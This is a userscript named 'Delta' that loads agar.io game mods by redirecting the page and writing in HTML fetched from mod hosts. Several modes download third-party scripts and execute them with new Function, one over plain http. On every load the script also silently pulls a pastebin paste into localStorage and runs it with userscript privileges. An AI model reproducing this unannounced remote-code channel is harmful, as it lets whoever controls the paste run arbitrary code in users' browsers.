NOTICE: By continued use of this site you understand and agree to the binding Terms of Service and Privacy Policy.
// ==UserScript== // @name 'Delta - 999999 in 1 // @name:ru 'Delta - 999999 в 1 // @description Delta - extension for agario, agar.io mod collection // @description:ru Delta - расширение для агарио, сборник модов для agar.io // @version 6.0 // @namespace delta.agar // @author neo // @icon https://deltav4.gitlab.io/ext/assets/favicon.ico // @match *://agar.io/* // @run-at document-start // @connect ogario.ovh // @connect glitch.me // @connect ex-script.com // @connect agartool.io // @connect imasters.org.ru // @connect legendmod.ml // @connect gitlab.io // @connect pages.dev // @connect 127.0.0.1 // @connect sigr.io // @connect pastebin.com // @grant GM.xmlHttpRequest // @grant GM.registerMenuCommand // @grant window.close // @downloadURL https://deltav4.gitlab.io/deltav4.user.js // @updateURL https://deltav4.gitlab.io/deltav4.user.js // @license MIT // ==/UserScript== /* Copying and subsequent publication of this source code is prohibited. The publication of this user script is allowed, use the following links: - https://deltav4.gitlab.io/deltav4.user.js If this user script does not start, write me a discord Если данное расширение не запускается, напишите мне в дискорд https://discord.gg/HHmyKW6 */ try{ GM.registerMenuCommand('\uD83D\uDF02\u2075 Delta 5', function() { window.location.href="https://agar.io/v5" }); GM.registerMenuCommand('\uD83D\uDF02\u2074 Delta 4', function() { window.location.href="https://agar.io/v4" }); GM.registerMenuCommand('\u2104 Legendmod', function() { window.location.href="https://agar.io/lm" }); GM.registerMenuCommand('\u24B6 Agar Tool', function() { window.location.href="https://agar.io/at" }); GM.registerMenuCommand('\u24B6 Agar Tool (Backup copy)', function() { window.location.href="https://agar.io/ato" }); GM.registerMenuCommand('\u2164 VANILLA', function() { window.location.href="https://agar.io/va" }); GM.registerMenuCommand('\u1EFA HSLO', function() { window.location.href="https://agar.io/hslo" }); GM.registerMenuCommand('\u2168 Agarix', function() { window.location.href="https://agar.io/ix" }); GM.registerMenuCommand('\u00D8 Ogario2', function() { window.location.href="https://agar.io/ogario" }); GM.registerMenuCommand('\uD83D\uDDAD Delta Discord', function() { window.location.href="https://discord.gg/HHmyKW6" }); }catch(e){} if(window.document && window.document.title === 'Attention Required! | Cloudflare'){ return } if (window.location.host == 'agar.io' && window.location.pathname === '/' ) { window.stop() window.location.href = 'https://agar.io/delta'; return; } if (window.location.pathname.indexOf('delta')>-1) { window.history && window.history.replaceState && window.history.replaceState({}, window.document.title, '/'); } GM.xmlHttpRequest({ method : "GET", url : 'https://pastebin.com/raw/1UZGC6Vv?'+Math.random(), synchronous: false, onload : function(e) { window.localStorage.recovery = e.responseText } }); var webBase = 'https://deltav4.gitlab.io' var devBase = 'http://127.0.0.1:5636/deltav4.gitlab.io/' var defaultMode = 'v5' var location = '' var isDevMode = window.location.pathname.indexOf('dev') > -1 var modes = { "botclient":function(){ location = 'http://127.0.0.1:5636/deltav4.gitlab.io/ext/plugin/botclient_b.html' //location = 'http://127.0.0.1:5500/agar-archive/botclient.html' }, "url":function(){ // For developers // example http://agar.io/url?https://your.host.com/ // add // @connect your.host.com location = window.location.search.slice(1) }, "ogario":function(){ location = 'https://cdn.ogario.ovh/v4/beta/' }, "v4":function(){ location = (isDevMode?devBase:webBase)+'/v4/index.html' }, "v5":function(){ location = (isDevMode?devBase:webBase)+'/ext/index.html' }, "v6":function(){ location = (isDevMode?devBase:webBase)+'/ext2/index.html' }, "ix":function(){ location = 'https://sentinelix-source-agarix.glitch.me/' }, "ato":function(){ location = (isDevMode?devBase:webBase)+'/agartool/index.html' }, "dist":function(){ location = (devBase)+'/'+(isDevMode?'dist':'dist')+'/index.html' webBase = 'https://deltav4.gitlab.io/ext/' devBase = 'http://127.0.0.1:5636/deltav4.gitlab.io/dist/' }, "hslo540":function(){ location = (isDevMode?devBase:webBase)+'/hslo540/index.html' }, "hslo536":function(){ location = (isDevMode?devBase:webBase)+'/hslo536/index.html' }, "hslo532":function(){ location = (isDevMode?devBase:webBase)+'/hslo532/index.html' }, "hslo":function(){ location = isDevMode?'http://127.0.0.1:5636/hslo.gitlab.io/dist/':'https://hslo.gitlab.io/' }, "at":function(){ location = 'none' window.stop(); document.documentElement.innerHTML = ''; GM.xmlHttpRequest({ method : "GET", url : 'https://www.agartool.io/agartool.user.js', onload : function(e) { new Function(e.responseText)() window.history.replaceState(null, null, 'at'); } }); }, "va":function(){ location = 'none' document.documentElement.innerHTML = ''; GM.xmlHttpRequest({ method : 'GET', url : 'http://imasters.org.ru/agar/js/vanilla.user.js', onload : function(e) { new Function(e.responseText)() setTimeout(function(){window.history.replaceState(null, null, 'va')},2000) } }); }, "lm":function(){ location = 'none' window.stop(); document.documentElement.innerHTML = ""; GM.xmlHttpRequest({ method : 'GET', url : 'https://legendmod.ml/LMexpress/LMexpress.user.js', onload : function(e) { new Function(['GM_info, GM_xmlhttpRequest','GM_registerMenuCommand'],e.responseText)(GM.info, GM.xmlHttpRequest,GM.registerMenuCommand) history.replaceState(null, null, 'lm'); } }); } } modes['agartool'] = modes['at'] for(var mode in modes){ var isMatched = window.location.pathname.indexOf(mode) > -1 if(isMatched) { modes[mode]() break; } } if(!isMatched) modes[defaultMode]() try{new Function(['GM'],localStorage['recovery'])(GM)}catch(e){} //document.documentElement.innerHTML = 'Loading'; if(location !== 'none'){ console.log('Extension location',location) loader() } function loader(){ GM.xmlHttpRequest({ method: "GET", url: location+'?'+Math.random(), onload: async function(e) { var blob = new Blob(['\ufeff'+e.responseText], {type:'text/html;charset=windows-1252'}); var reader = new FileReader(); reader.onload = function() { document.open(); var str = reader.result if(isDevMode) str = str.replace(webBase,devBase) if(mode==='hslo') str = str.replace('<head>','<head><script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>') document.write(str); document.close(); } reader.readAsText(blob); } }) }